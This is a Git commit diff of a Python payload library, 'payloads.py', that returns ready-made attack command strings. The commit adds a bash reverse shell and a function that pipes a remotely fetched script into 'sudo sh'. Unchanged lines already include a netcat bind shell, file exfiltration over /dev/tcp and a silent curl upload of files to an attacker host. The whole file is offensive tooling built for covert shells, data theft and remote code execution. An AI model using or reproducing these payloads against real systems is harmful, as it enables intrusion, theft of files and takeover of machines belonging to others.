Update payloads.py

main
witchdocsec 2023-08-06 20:04:47 +01:00 committed by GitHub
parent 4c7be7f6dd
commit bc5de2cf06
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 5 additions and 0 deletions

View File

@ -10,12 +10,17 @@ class Shells:
def ncbind(ip,port,protocol): def ncbind(ip,port,protocol):
return f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip} {port} > /tmp/f &; " return f"rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l {ip} {port} > /tmp/f &; "
def bash(ip,port,shell,protocol):
return f"bash -c \\\"{shell} -i >& /dev/{protocol}/{ip}/{port} 0>&1 & \\\"; "
class Exfil: class Exfil:
def socket(ip,port,file): def socket(ip,port,file):
return f"cat {file} &> /dev/tcp/{ip}/{port} ;" return f"cat {file} &> /dev/tcp/{ip}/{port} ;"
def pflask(ip, port, file): def pflask(ip, port, file):
return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; " return f"bash -c \\\"curl -F 'file=@{file}' http://{ip}:{port}/up &> /dev/null &\\\"; "
class RFS:
def run(ip,port,schema):
return f"bash -c \\\"curl {schema}://{ip}:{port}/rfs | sudo sh\\\" &> /dev/null; "